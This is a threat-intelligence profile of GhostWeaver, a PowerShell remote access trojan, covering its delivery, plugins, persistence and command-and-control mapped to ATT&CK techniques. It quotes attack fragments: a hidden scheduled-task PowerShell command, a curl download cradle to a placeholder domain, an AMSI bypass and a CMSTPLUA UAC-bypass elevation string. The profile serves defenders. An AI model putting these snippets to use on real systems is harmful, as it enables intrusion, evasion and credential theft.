GhostWeaver
- Type
- RAT
- Capabilities
- Credential theftPersistencePrivilege escalationPost exploitationDefense evasion
- Delivery
- PhishingFake updateClickfix
- Platforms
- Windows
GhostWeaver is a fileless, in-memory PowerShell remote access trojan targeting Windows systems. It is principally deployed by MintsLoader in campaigns associated with TA582, also tracked as UNC4108, and has appeared downstream of SocGholish/FakeUpdates compromise chains. Delivery chains include phishing attachments, ClickFix-style social-engineering lures, and fake browser-update prompts on compromised websites; MintsLoader profiles hosts and may withhold GhostWeaver from sandbox-like environments.
GhostWeaver maintains encrypted command-and-control communications using a custom compressed JSON protocol and multiple domain-generation routines. It supports reflective loading of .NET plugins, including plugins for browser credential collection, web-form grabbing and injection, Outlook-data collection, and cryptocurrency-wallet theft. Its plugin mechanism can also redeploy MintsLoader, creating a reinfection and payload-delivery loop.
The RAT uses antivirus-aware persistence logic with multiple installation modes. Observed persistence includes a recurring hidden scheduled task that launches PowerShell, while its installer can use a CMSTPLUA COM-based UAC bypass after process masquerading. It also reduces forensic visibility by disabling Task Scheduler operational logging. GhostWeaver's in-memory execution, DGA-based infrastructure, anti-analysis gating, privilege-bypass behavior, and plugin architecture make it a flexible post-compromise backdoor.
Associated threat actors
4 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
GhostWeaver is MintsLoader's primary payload across campaigns and is a PowerShell RAT that can redeploy MintsLoader through its sendPlugin capability.
GhostWeaver is MintsLoader's primary payload across campaigns and is a PowerShell RAT that can redeploy MintsLoader through its sendPlugin capability.
GhostWeaver is a fileless PowerShell RAT that maintains command-and-control (C2) over GZip-compressed JSON inside TLS 1.0 connections on port 25658. AV vendors detect it as Pantera.
GhostWeaver is a fileless PowerShell RAT (remote access trojan) that adapts its installation to whichever antivirus is running on the machine... It communicates over TLS on port 25658... It generates its own server addresses through four separate DGA routines...
Techniques & procedures
28 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
1 technique
Initial Access
SocGholish is a JavaScript (JS)-based downloader malware that's distributed via compromised websites by masquerading as deceptive updates for web browsers like Google Chrome or Mozilla Firefox, and other popular software.
Execution
3 techniques
Execution
Scheduled task: conhost --headless powershell -ep bypass Azure{FunctionName} every 3 min.
Once decoded and decompressed, heavily obfuscated PowerShell bypasses AMSI, runs environment scoring, executes DGA to generate C2 domains, and calls back with score and system info.
"Injected JS: fake browser update prompt"; "ChrоmeUpdаteInstаller.js"; "JS stager"
Persistence
2 techniques
Persistence
Scheduled task: conhost --headless powershell -ep bypass Azure{FunctionName} every 3 min.
Registry marker: HKCU:\Software\Microsoft\ExpirienceHost = 1 (intentional misspelling).
Privilege Escalation
3 techniques
Privilege Escalation
Scheduled task: conhost --headless powershell -ep bypass Azure{FunctionName} every 3 min.
PEB masquerade via VirtualProtectEx / WriteProcessMemory to impersonate explorer.exe.
UAC bypass via CMSTPLUA COM object - PEB masquerade ... then COM elevation via CoGetObject("Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}").
Stealth
7 techniques
Stealth
Obfuscation uses arithmetic character encoding where every string is constructed via math expressions without [char] casts.
"swapping process metadata to pose as Windows Explorer so the COM security check passes."
PEB masquerade via VirtualProtectEx / WriteProcessMemory to impersonate explorer.exe.
"We deobfuscated the PowerShell source (855 strings across three obfuscation layers)"; "decoded the C2 wire protocol"
"Before the RAT arrives, a profiler called MintsLoader runs three checks... virtual machine, the GPU type, and the number of CPU cache levels... withheld the payload."
"VM check (Get-MpComputerStatus IsVirtualMachine)"; "GPU check"; "CPU cache check"; "[High score = sandbox] --> Decoy"
Plugins loaded reflectively via Assembly.Load (no disk).
Defense Impairment
3 techniques
Defense Impairment
Registry marker: HKCU:\Software\Microsoft\ExpirienceHost = 1 (intentional misspelling).
AMSI (amsiInitFailed on System.Management.Automation.AmsiUtils set to $true).
"After setting up the task, the installer disables the Task Scheduler event log. Not clearing it -- turning it off."
Credential Access
3 techniques
Credential Access
"The plugin system supports credential theft from browsers, Outlook, and crypto wallets"
"The four persistence modes range from a simple plaintext file to DPAPI (Data Protection API)-encrypted payloads."
"web injection via MITM (man-in-the-middle) proxy"
Discovery
6 techniques
Discovery
"ip External IP via api.ipify.org"
"User $env:COMPUTERNAME"; "Callback: POST http://{DGA4}/htr.php?id={hostname}"
"OS Windows version string"; "Performance Win32_ComputerSystem.Domain"; "GPU check (Win32_VideoController)"; "CPU cache check (Win32_CacheMemory)"
"Before the RAT arrives, a profiler called MintsLoader runs three checks... virtual machine, the GPU type, and the number of CPU cache levels... withheld the payload."
"VM check (Get-MpComputerStatus IsVirtualMachine)"; "GPU check"; "CPU cache check"; "[High score = sandbox] --> Decoy"
"Antivirus WMI SecurityCenter2 query"; "installer selects one at random unless it detects specific AV products"
Collection
1 technique
Collection
"web injection via MITM (man-in-the-middle) proxy"
Command and Control
6 techniques
Command and Control
"The wire format is a 4-byte little-endian length header followed by GZip-compressed JSON"
"GhostWeaver skips HTTP entirely. It communicates over raw TCP on port 25658, wrapped in TLS 1.0"
All paths converge on: curl -useb http://[domain]/1.php?s=[campaign_ID].
Four distinct DGA algorithms across kill chain stages.
"It hardcodes five public DNS resolvers... and queries them directly... Your internal DNS, your sinkhole... none of them ever see the request."
"It communicates over TLS on port 25658, a non-standard port..." and "TLS 1.0... on port 25658"
Observables
31 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
14 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.